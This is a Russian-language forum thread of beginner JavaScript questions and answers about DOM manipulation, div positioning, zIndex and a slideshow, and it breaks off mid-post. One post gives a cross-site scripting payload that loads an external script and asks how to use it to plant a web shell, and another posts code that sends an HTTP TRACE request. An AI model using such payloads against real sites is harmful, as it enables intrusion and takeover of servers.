RE: Вопросы по Java.. (для новичков)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-10 17:21:12.723333
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
<form name="myform"> <select name="myselect"> <option value="123">123</option> </select> </form> js: alert(document.forms['myform'].elements['myselect'].value);
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-11 02:03:42.390000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
та нет. это ж не то.. мне ненадо получать значения селектов, мне надо чтоб в селект добавлялся новый пункт короче сделал так function CreateOpt(value,text) { var optio = document.createElement(\'option\'); optio.value = value; optio.text = text; return optio; } function addfild(name) { var select = document.getElementById("attachment"); select.options.add(CreateOpt(1, name)); далее вызываю addfild('.$_FILES['userfile']['name'].'); с помощью аякс запроса, но почемуто селект не меняется.. хотя если это делать просто с вебстранички то всё нормаьлно заполняется.. точнее у меня даже не аякс запрос а я отправляю в скрытый фрэйм пост запрос и через эчо получю ответ который собственно и принтит addfild('.$_FILES['userfile']['name'].'); но почемуто не добавляется ничё :(
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-14 00:02:03.920000
|
|
|
ido46od
Сообщений: 71
Оценки: 0
Присоединился: 2008-07-17 21:31:29.910000
|
есть один сайт с хсс, вот и хсс: "><script src=http://******/xss.js></script><input type=text value=fuck-you. теперь нужно чтобы xss.js загрузил на сервер шелл или в xss.js написать сам шелл и при открытие создался на серваке шелл. такое возможно. заранее спасибо.
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-14 07:06:40.503333
|
|
|
Панда
Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
|
quote:
ORIGINAL: ido46od есть один сайт с хсс, вот и хсс: "><script src=http://******/xss.js></script><input type=text value=fuck-you. теперь нужно чтобы xss.js загрузил на сервер шелл или в xss.js написать сам шелл и при открытие создался на серваке шелл. такое возможно? нет
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-16 21:51:18.316666
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
есть динамически создаваемый элемент вот код
<input type="submit" value="Create" name="create" onclick="create_elem()" />
<input type="submit" value="Destroy" name="destroy" onclick="destroy_elem()" />
<sсriрt language="Javasсriрt" type="text/javasсriрt">
var moveState = false;
var x0, y0;
var divX0, divY0;
function defPosition(event) {
var x = y = 0;
if (document.attachEvent != null) { // Internet Explorer & Opera
x = window.event.clientX + document.documentElement.scrollLeft + document.bоdу.scrollLeft;
y = window.event.clientY + document.documentElement.scrollTop + document.bоdу.scrollTop;
}
if (!document.attachEvent && document.addEventListener) { // Gecko
x = event.clientX + window.scrollX;
y = event.clientY + window.scrollY;
}
return {x:x, y:y};
}
function initMove(div, event) {
var event = event || window.event;
x0 = defPosition(event).x;
y0 = defPosition(event).y;
divX0 = parseInt(div.style.left);
divY0 = parseInt(div.style.top);
moveState = true;
}
document.onmouseup = function() {
moveState = false;
}
function moveHandler(div, event) {
var event = event || window.event;
if (moveState) {
div.style.left = divX0 + defPosition(event).x - x0;
div.style.top = divY0 + defPosition(event).y - y0;
}
}
var vjtwindow;
function create_elem() {
var mdiv = document.getElementById("mdiv");
if (!vjtwindow) {
vjtwindow=document.createElement("table");
vjtwindow.cellPadding = 0;
vjtwindow.cellSpacing = 0;
vjtwindow.id = "vij-table";
vjtwindow.name = "vij-table";
var newRow=vjtwindow.insertRow(0);
var newCell = newRow.insertCell(0);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/21.png\" class=\"vjt-img\"/>";
var newCell = newRow.insertCell(1);
newCell.id="vjt-table-top";
newCell.innerHTML="";
var newCell = newRow.insertCell(2);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/24.png\" class=\"vjt-img\"/>";
var newRow=vjtwindow.insertRow(1);
var newCell = newRow.insertCell(0);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/29.png\" class=\"vjt-img\"/>";
var newCell = newRow.insertCell(1);
newCell.id="vjt-table-bottom";
newCell.innerHTML="";
var newCell = newRow.insertCell(2);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/28.png\" class=\"vjt-img\"/>";
var newRow=vjtwindow.insertRow(1);
var newCell = newRow.insertCell(0);
newCell.id="vjt-table-left";
newCell.innerHTML="";
var newCell = newRow.insertCell(1);
newCell.id="vjt-tab";
newCell.setAttribute("vlign","top");
newCell.innerHTML="<b>23</b>";
var newCell = newRow.insertCell(2);
newCell.id="vjt-table-right";
newCell.innerHTML="";
vjtwindow.position="absolute";
document.getElementById("mdiv").appendChild(vjtwindow);
}
}
function destroy_elem(){
if (!vjtwindow) return;
document.getElementById("mdiv").removeChild(vjtwindow);
vjtwindow = null;
}
</sсriрt>
<div style='position:absolute; top:100px; left:100px; height: 500px; width:350px;' onmousedown = 'initMove(this, event);' onmouseup = 'moveState = false;' onmousemove = 'moveHandler(this, event);' id = 'mdiv'></div> при выполнении кода создаётся табличка и пихается в див, который расположен приблизительно по центру… всё бы хорошо если бы не так плохо… дело в том, что див статичен, и если на странице контент оч длинный, а кнопочка в самом низу, то при создании элемента он помещается в див, который находится за областью видимости юзера… как сделать так, чтоб окно создавалось всегда в центре? может както можно див центрировать?
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-16 22:05:31.633333
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
какая кнопочка? В опере Create и Destroy нормально отображаются, правда в верхнем левом углу
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-16 22:49:36.980000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
та оно всё работает.. просто добав тегов <br> в начале страницы ну примерно штук 30… ну так для теста, чтоб кнопки опустились намного ниже и появилась полоса прокрутки…так вот когда полосу опускаеш вниз, то див в абсолютных координатах уезжает вверх и при нажатии криэйт форма появляется не в центре а смещённо от него
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-16 23:16:35.206666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Может быть я чего-то не понимаю, просто не привык работать с неполными исходниками:
<center><input type="submit" value="Create" name="create" onclick="create_elem()" /> </center>
<center><input type="submit" value="Destroy" name="destroy" onclick="destroy_elem()"/></center>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<sсriрt language="Javasсriрt" type="text/javasсriрt">
var moveState = false;
var x0, y0;
var divX0, divY0;
function defPosition(event) {
var x = y = 0;
if (document.attachEvent != null) { // Internet Explorer & Opera
x = window.event.clientX + document.documentElement.scrollLeft + document.bоdу.scrollLeft;
y = window.event.clientY + document.documentElement.scrollTop + document.bоdу.scrollTop;
}
if (!document.attachEvent && document.addEventListener) { // Gecko
x = event.clientX + window.scrollX;
y = event.clientY + window.scrollY;
}
return {x:x, y:y};
}
function initMove(div, event) {
var event = event || window.event;
x0 = defPosition(event).x;
y0 = defPosition(event).y;
divX0 = parseInt(div.style.left);
divY0 = parseInt(div.style.top);
moveState = true;
}
document.onmouseup = function() {
moveState = false;
}
function moveHandler(div, event) {
var event = event || window.event;
if (moveState) {
div.style.left = divX0 + defPosition(event).x - x0;
div.style.top = divY0 + defPosition(event).y - y0;
}
}
var vjtwindow;
function create_elem() {
var mdiv = document.getElementById("mdiv");
if (!vjtwindow) {
vjtwindow=document.createElement("table");
vjtwindow.cellPadding = 0;
vjtwindow.cellSpacing = 0;
vjtwindow.id = "vij-table";
vjtwindow.name = "vij-table";
var newRow=vjtwindow.insertRow(0);
var newCell = newRow.insertCell(0);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/21.png\" class=\"vjt-img\"/>";
var newCell = newRow.insertCell(1);
newCell.id="vjt-table-top";
newCell.innerHTML="";
var newCell = newRow.insertCell(2);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/24.png\" class=\"vjt-img\"/>";
var newRow=vjtwindow.insertRow(1);
var newCell = newRow.insertCell(0);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/29.png\" class=\"vjt-img\"/>";
var newCell = newRow.insertCell(1);
newCell.id="vjt-table-bottom";
newCell.innerHTML="";
var newCell = newRow.insertCell(2);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/28.png\" class=\"vjt-img\"/>";
var newRow=vjtwindow.insertRow(1);
var newCell = newRow.insertCell(0);
newCell.id="vjt-table-left";
newCell.innerHTML="";
var newCell = newRow.insertCell(1);
newCell.id="vjt-tab";
newCell.setAttribute("vlign","top");
newCell.innerHTML="<b>23</b>";
var newCell = newRow.insertCell(2);
newCell.id="vjt-table-right";
newCell.innerHTML="";
vjtwindow.position="absolute";
document.getElementById("mdiv").appendChild(vjtwindow);
}
}
function destroy_elem(){
if (!vjtwindow) return;
document.getElementById("mdiv").removeChild(vjtwindow);
vjtwindow = null;
}
</sсriрt>
<div style='position:absolute; top:100px; left:100px; height: 500px; width:350px;' onmousedown = 'initMove(this, event);' onmouseup = 'moveState = false;' onmousemove = 'moveHandler(this, event);' id = 'mdiv'></div>
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-16 23:40:02.733333
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
а нет))) ты не понял.. наоборот всё))))) вот так.. это полный исходник
<br><br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br>
<br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br><br>
<br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br>
<br> <br> <br> <br> <br> <br> <br> <br><br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br><br><br>
<sсriрt language="Javasсriрt" type="text/javasсriрt">
var moveState = false;
var x0, y0;
var divX0, divY0;
function defPosition(event) {
var x = y = 0;
if (document.attachEvent != null) { // Internet Explorer & Opera
x = window.event.clientX + document.documentElement.scrollLeft + document.bоdу.scrollLeft;
y = window.event.clientY + document.documentElement.scrollTop + document.bоdу.scrollTop;
}
if (!document.attachEvent && document.addEventListener) { // Gecko
x = event.clientX + window.scrollX;
y = event.clientY + window.scrollY;
}
return {x:x, y:y};
}
function initMove(div, event) {
var event = event || window.event;
x0 = defPosition(event).x;
y0 = defPosition(event).y;
divX0 = parseInt(div.style.left);
divY0 = parseInt(div.style.top);
moveState = true;
}
document.onmouseup = function() {
moveState = false;
}
function moveHandler(div, event) {
var event = event || window.event;
if (moveState) {
div.style.left = divX0 + defPosition(event).x - x0;
div.style.top = divY0 + defPosition(event).y - y0;
}
}
var vjtwindow;
function create_elem() {
var mdiv = document.getElementById("mdiv");
if (!vjtwindow) {
vjtwindow=document.createElement("table");
vjtwindow.cellPadding = 0;
vjtwindow.cellSpacing = 0;
vjtwindow.id = "vij-table";
vjtwindow.name = "vij-table";
var newRow=vjtwindow.insertRow(0);
var newCell = newRow.insertCell(0);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/21.png\" class=\"vjt-img\"/>";
var newCell = newRow.insertCell(1);
newCell.id="vjt-table-top";
newCell.innerHTML="";
var newCell = newRow.insertCell(2);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/24.png\" class=\"vjt-img\"/>";
var newRow=vjtwindow.insertRow(1);
var newCell = newRow.insertCell(0);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/29.png\" class=\"vjt-img\"/>";
var newCell = newRow.insertCell(1);
newCell.id="vjt-table-bottom";
newCell.innerHTML="";
var newCell = newRow.insertCell(2);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/28.png\" class=\"vjt-img\"/>";
var newRow=vjtwindow.insertRow(1);
var newCell = newRow.insertCell(0);
newCell.id="vjt-table-left";
newCell.innerHTML="";
var newCell = newRow.insertCell(1);
newCell.id="vjt-tab";
newCell.setAttribute("vlign","top");
newCell.innerHTML="<b>23</b>";
var newCell = newRow.insertCell(2);
newCell.id="vjt-table-right";
newCell.innerHTML="";
vjtwindow.position="absolute";
document.getElementById("mdiv").appendChild(vjtwindow);
}
}
function destroy_elem(){
if (!vjtwindow) return;
document.getElementById("mdiv").removeChild(vjtwindow);
vjtwindow = null;
}
</sсriрt>
<center><input type="submit" value="Create" name="create" onclick="create_elem()" /> </center>
<center><input type="submit" value="Destroy" name="destroy" onclick="destroy_elem()"/></center>
<div style='position:absolute; top:100px; left:100px; height: 500px; width:350px;' onmousedown = 'initMove(this, event);' onmouseup = 'moveState = false;' onmousemove = 'moveHandler(this, event);' id = 'mdiv'></div>
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-16 23:56:49.363333
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Если скажешь, что это неправильно, можешь….можешь, если сможешь)
<sсriрt language="Javasсriрt" type="text/javasсriрt">
var moveState = false;
var x0, y0;
var divX0, divY0;
function defPosition(event) {
var x = y = 0;
if (document.attachEvent != null) { // Internet Explorer & Opera
x = window.event.clientX + document.documentElement.scrollLeft + document.bоdу.scrollLeft;
y = window.event.clientY + document.documentElement.scrollTop + document.bоdу.scrollTop;
}
if (!document.attachEvent && document.addEventListener) { // Gecko
x = event.clientX + window.scrollX;
y = event.clientY + window.scrollY;
}
return {x:x, y:y};
}
function initMove(div, event) {
var event = event || window.event;
x0 = defPosition(event).x;
y0 = defPosition(event).y;
divX0 = parseInt(div.style.left);
divY0 = parseInt(div.style.top);
moveState = true;
}
document.onmouseup = function() {
moveState = false;
}
function moveHandler(div, event) {
var event = event || window.event;
if (moveState) {
div.style.left = divX0 + defPosition(event).x - x0;
div.style.top = divY0 + defPosition(event).y - y0;
}
}
var vjtwindow;
function create_elem() {
var mdiv = document.getElementById("mdiv");
if (!vjtwindow) {
vjtwindow=document.createElement("table");
vjtwindow.cellPadding = 0;
vjtwindow.cellSpacing = 0;
vjtwindow.id = "vij-table";
vjtwindow.name = "vij-table";
var newRow=vjtwindow.insertRow(0);
var newCell = newRow.insertCell(0);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/21.png\" class=\"vjt-img\"/>";
var newCell = newRow.insertCell(1);
newCell.id="vjt-table-top";
newCell.innerHTML="";
var newCell = newRow.insertCell(2);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/24.png\" class=\"vjt-img\"/>";
var newRow=vjtwindow.insertRow(1);
var newCell = newRow.insertCell(0);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/29.png\" class=\"vjt-img\"/>";
var newCell = newRow.insertCell(1);
newCell.id="vjt-table-bottom";
newCell.innerHTML="";
var newCell = newRow.insertCell(2);
newCell.id="vij-table-ie";
newCell.innerHTML="<img src=\"skins/standart/images/28.png\" class=\"vjt-img\"/>";
var newRow=vjtwindow.insertRow(1);
var newCell = newRow.insertCell(0);
newCell.id="vjt-table-left";
newCell.innerHTML="";
var newCell = newRow.insertCell(1);
newCell.id="vjt-tab";
newCell.setAttribute("vlign","top");
newCell.innerHTML="<b>23</b>";
var newCell = newRow.insertCell(2);
newCell.id="vjt-table-right";
newCell.innerHTML="";
vjtwindow.position="absolute";
document.getElementById("mdiv").appendChild(vjtwindow);
}
}
function destroy_elem(){
if (!vjtwindow) return;
document.getElementById("mdiv").removeChild(vjtwindow);
vjtwindow = null;
}
</sсriрt>
<center><input type="submit" value="Create" name="create" onclick="create_elem()" /> </center>
<center><input type="submit" value="Destroy" name="destroy" onclick="destroy_elem()"/></center>
<div style='position:absolute; top:100px; left:100px; height: 500px; width:350px;' onmousedown = 'initMove(this, event);' onmouseup = 'moveState = false;' onmousemove = 'moveHandler(this, event);' id = 'mdiv'></div>
<br><br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br>
<br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br><br>
<br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br>
<br> <br> <br> <br> <br> <br> <br> <br><br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br><br><br>
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-17 00:29:13.033333
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
блин.. ты непонял смысл всего этого.. я не спорю что так можно, но дело в том, что это будет как бы виджет для блога, в который будут подгружаться сообщения, кнопка для его создания прикрепленна к каждой статье и посылает идшник в форму… тэги бр я привёл как бы для примера.. чтоб показать суть проблеммы.. а теперь вернёмся к исходному вопросу.. как центрировть на страничке див.. при чём так, чтоб при скролинге странички он не двигался
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-17 14:20:33.430000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Ну в таком случае наверное таки проще сделать popup формочку с этими кнопками на ней и двигайть её вслед за текстом (ну как назойливая реклама)
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-17 20:39:29.633333
|
|
|
kreol
Сообщений: 823
Оценки: 0
Присоединился: 2007-03-08 03:13:06.876666
|
Вопрос по свойству zIndex:
function addContent(id) {
target = document.getElementById(id);
lowerDiv = document.createElement('div');
lowerDiv.style.left = 100;
lowerDiv.style.top = 100;
lowerDiv.style.width = 100;
lowerDiv.style.height = 100;
lowerDiv.style.background = 'yellow';
lowerDiv.style.position = 'absolute';
lowerDiv.zIndex = 5; // !!!!!!!!!
lowerDiv.ondblclick = function() {
alert("this is a lower div");
}
target.appendChild(lowerDiv);
higherDiv = document.createElement('div');
higherDiv.style.left = 120;
higherDiv.style.top = 120;
higherDiv.style.width = 100;
higherDiv.style.height = 100;
higherDiv.style.background = 'blue';
higherDiv.style.position = 'absolute';
higherDiv.zIndex = 3; // !!!!!!!!!
higherDiv.ondblclick = function() {
alert("this is a higher div");
}
target.appendChild(higherDiv);
} У первого (жёлтого) дива zIndex больше, значит он должен показываться сверху и принимать щелчки мыши. Но сверху почему-то лежит второй (синий). Почему?
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-17 21:51:10.426666
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
quote:
ORIGINAL: Pashkela Ну в таком случае наверное таки проще сделать popup формочку с этими кнопками на ней и двигайть её вслед за текстом (ну как назойливая реклама) ну и как тогда попапом его создать?
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-17 23:35:51.733333
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
2 magistr_bender: Посмотри иходник любого порно или варезного сайта
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-18 05:50:51.540000
|
|
|
Панда
Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
|
quote:
ORIGINAL: kreol Вопрос по свойству zIndex:
function addContent(id) {
target = document.getElementById(id);
lowerDiv = document.createElement('div');
lowerDiv.style.left = 100;
lowerDiv.style.top = 100;
lowerDiv.style.width = 100;
lowerDiv.style.height = 100;
lowerDiv.style.background = 'yellow';
lowerDiv.style.position = 'absolute';
lowerDiv.zIndex = 5; // !!!!!!!!!
lowerDiv.ondblclick = function() {
alert("this is a lower div");
}
target.appendChild(lowerDiv);
higherDiv = document.createElement('div');
higherDiv.style.left = 120;
higherDiv.style.top = 120;
higherDiv.style.width = 100;
higherDiv.style.height = 100;
higherDiv.style.background = 'blue';
higherDiv.style.position = 'absolute';
higherDiv.zIndex = 3; // !!!!!!!!!
higherDiv.ondblclick = function() {
alert("this is a higher div");
}
target.appendChild(higherDiv);
} У первого (жёлтого) дива zIndex больше, значит он должен показываться сверху и принимать щелчки мыши. Но сверху почему-то лежит второй (синий). Почему? higherDiv.style.zIndex = 3; тупимс?;)
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-18 06:06:25.060000
|
|
|
Панда
Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
|
2bender как я понял те нужно чето типа такого, как у нас (Задать вопрос продавцу, отредактировать и др.) http://auto.japancar.ru/jc/view/auto/A1226677.html
function show_div(obj)
{
if(active_window!=='' && $(active_window)){CloseDiv(active_window);}
active_window=obj;
var screen_x,screen_y;
// ®ЎйЁ© бЁв ЄбЁб
if (self.innerHeight) {
screen_x = self.innerWidth;
screen_y = self.innerHeight;
// IE 6 Strict Mode
} else if (document.documentElement && document.documentElement.clientHeight)
{
screen_x = document.documentElement.clientWidth;
screen_y = document.documentElement.clientHeight;
// Ћбв «млҐ ўҐабЁЁ IE
} else if (document.body) {
screen_x = document.body.clientWidth;
screen_y = document.body.clientHeight;
}
var el = $(obj);
el.style.display = 'block';
var _body = document.body;
var _offset = Position.realOffset(_body);
var x = ((screen_x - el.offsetWidth) / 2) + _offset[0];
var y = ((screen_y - el.offsetHeight) / 2) + _offset[1];
if( screen_y < el.offsetHeight ){ y = _offset[1]; }
/* !!! ЁбЇа ў«Ґ® !!! */
if (window.opera) {
y=(screen_y-el.offsetHeight)/2 + _offset[1]/2;
}
// */
el.style.left = Math.ceil(x) +'px';
el.style.top = Math.ceil(y) +'px';
}
(я хоть ее и правил, но сам нихрена не понимаю че там написано.) используется библиотека prototype.js
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-18 11:15:33.770000
|
|
|
kreol
Сообщений: 823
Оценки: 0
Присоединился: 2007-03-08 03:13:06.876666
|
quote:
ORIGINAL: Панда higherDiv.style.zIndex = 3; тупимс?;) Разве? higherDiv - он сверзху по порядку определения, а мне нужно его спрятать под lowerDiv. Соответственно, zIndex у него (в смысле, у higherDiv) должен быть меньше. Но почему-то не работает.
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-18 12:19:51.843333
|
|
|
Панда
Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
|
ладно, уточняю higherDiv.style.zIndex = 3; а терь смотри че у тя
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-18 13:19:22.053333
|
|
|
kreol
Сообщений: 823
Оценки: 0
Присоединился: 2007-03-08 03:13:06.876666
|
quote:
ORIGINAL: Панда ладно, уточняю higherDiv.style.zIndex = 3; а терь смотри че у тя А, тфу, это да)) Это я просто не туда посмотрел. Вопрос вообще возник вот откуда: у меня есть див periodElement, которому нужно поставить событие на ondblclick. Чтобы точно этот див принимал все события, ставлю ему самый большой zIndex (сразу поставил через style, поэтому и не понял, в чём прикол в твоём ответе [&:]).
var periodElement = document.createElement('div');
...
periodElement.style.zIndex = 255;
periodElement.ondblclick = myFunc;
Но див почему-то всё равно не ловит это событие.
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-21 13:32:10.906666
|
|
|
koro
Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
|
вобщем-то не мой код, но работать должен, но не работает(
<script>
function sendTrace () {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "www.site.com",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-21 14:31:12.773333
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
brtn, этот код работать должен тока в MSIE, если ты сидишь в опере, лисе и прочих браузерах, то он там не прокатит, тк нет поддержки АктивХ
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-21 22:41:04.620000
|
|
|
koro
Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
|
quote:
ORIGINAL: oRb brtn, этот код работать должен тока в MSIE, если ты сидишь в опере, лисе и прочих браузерах, то он там не прокатит, тк нет поддержки АктивХ пнтн +
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-22 19:08:18.193333
|
|
|
koro
Сообщений: 977
Оценки: 0
Присоединился: 2008-08-08 09:39:07.460000
|
не актуально, сам нашёл ответ на свой вопрос )
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-27 12:32:31.680000
|
|
|
Basher2008
Сообщений: 148
Оценки: 0
Присоединился: 2008-01-27 17:28:11.896666
|
Есть скрипт: <script language="JavaScript"> pass = prompt('Ваш пароль:'); if (pass=='123') {top.location.href="123.html" } else {alert('Доступ закрыт!'), top.location.href="index.html" } </script> который пропускает юзера на страничку 123.html, если введёшь пароль 123, а как сделать скрипт который пропустит его туда если будет 2 параметра, ну скажем логин и пароль, причём он пропустит только в том случае если и 1 и 2 параметр будут верными?
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-27 14:39:28.433333
|
|
|
kreol
Сообщений: 823
Оценки: 0
Присоединился: 2007-03-08 03:13:06.876666
|
quote:
ORIGINAL: Basher2008 который пропускает юзера на страничку 123.html, если введёшь пароль 123, а как сделать скрипт который пропустит его туда если будет 2 параметра, ну скажем логин и пароль, причём он пропустит только в том случае если и 1 и 2 параметр будут верными? А чё, логически операторы не учили? <sсriрt language="javasсriрt">
login = prompt("login: ", "");
pass = prompt("password:", "");
if (login == 'admin' && pass == '123') {
top.location.href="http://xakep.ru"
} else {
alert('Доступ закрыт!'),
top.location.href="http://google.com"
}
</sсriрt>
Только нахрена это нужно, если человек может открыть сам скрипт и посмотреть, какие должны быть логин и пароль?
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-27 19:09:52.716666
|
|
|
Basher2008
Сообщений: 148
Оценки: 0
Присоединился: 2008-01-27 17:28:11.896666
|
нууу, не всякий человек это может:D , хотя было бы интересно узнать о более прогрессивных методах. Держи репу
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-09-27 19:29:27.190000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
более прогресивный метод писать на php скрипт и желательно с использованием баз данных))) а если так уж хочется прям на яваскрипте, то можно использовать аякс) но тоже надо знать хотябы пхп)
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-07 01:19:17.560000
|
|
|
Гарик77
Сообщений: 3
Оценки: 0
Присоединился: 2008-10-07 01:13:37.370000
|
Не могу заставить этот скрипт (слайд шоу с плавным проявлением/исчезновением изображений) заставить работать в Огнелисе. Скрипт чей-то буржуйский и видимо старый. Может есть специ здесь, помогут? <script language=javaScript> <!– Beginning of JavaScript - sandra0 = new Image(); sandra0.src = "sandraaa0.jpg"; sandra1 = new Image(); sandra1.src = "sandraaa1.jpg"; sandra2 = new Image(); sandra2.src = "sandraaa2.jpg"; var i_strngth=1 var i_image=0 var imageurl = new Array() imageurl[0] ="1.gif" imageurl[1] ="2.gif" imageurl[2] ="3.gif" function showimage() { if(document.all) { if (i_strngth <=110) { testimage.innerHTML="<img style='filter:alpha(opacity="+i_strngth+")' src="+imageurl[i_image]+" border=0>"; i_strngth=i_strngth+10 var timer=setTimeout("showimage()",100) } else { clearTimeout(timer) var timer=setTimeout("hideimage()",1000) } } if(document.layers) { clearTimeout(timer) document.testimage.document.write("<img src="+imageurl[i_image]+" border=0>") document.close() i_image++ if (i_image >= imageurl.length) {i_image=0} var timer=setTimeout("showimage()",2000) } } function hideimage() { if (i_strngth >=-10) { testimage.innerHTML="<img style='filter:alpha(opacity="+i_strngth+")' src="+imageurl[i_image]+" border=0>"; i_strngth=i_strngth-10 var timer=setTimeout("hideimage()",100) } else { clearTimeout(timer) i_image++ if (i_image >= imageurl.length) {i_image=0} i_strngth=1 var timer=setTimeout("showimage()",500) } } // - End of JavaScript - –> </script> <body background="Ice3.gif" onLoad="showimage()"> <div id="mainbod" style="position:center;visibility:visible;top:50px;right:360px;"> </div> <div id="testimage" style="position:center;visibility:visible;top:263px;right:295px"></div>
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-07 12:38:55.140000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
ну по коду тут можно кое что оптимизировать а кое что надо заменить… например можно заменить var imageurl = new Array() imageurl[0] ="1.gif" imageurl[1] ="2.gif" imageurl[2] ="3.gif" на скажем такую конструкцию var imageurl = new Array("1.gif","2.gif","3.gif") а скрипт работет только в ие потому, что document.all используется только в ие надо заменять на стандартные DOM методы далее testimage.innerHTML="<img style='filter:alpha(opacity="+i_strngth+")' src="+imageurl[i_image]+" border=0>"; фильтры работают только в ие в фф нет
|
|
|
RE: Вопросы по Java.. (для новичков) - 2008-10-11 22:02:27.890000
|
|
|
zhuk
Сообщений: 2962
Оценки: 10
Присоединился: 2007-02-20 21:00:01.303333
|
Сам придумать ничего не могу. Прошу помочь. Есть скрипт, который отображает разную инфу в зависимости от того, на какую из пяти картинок нажали. Вот скрипт: <sсriрt language="javasсriрt">
function onoff (dat1)
{
if (dat1==1)
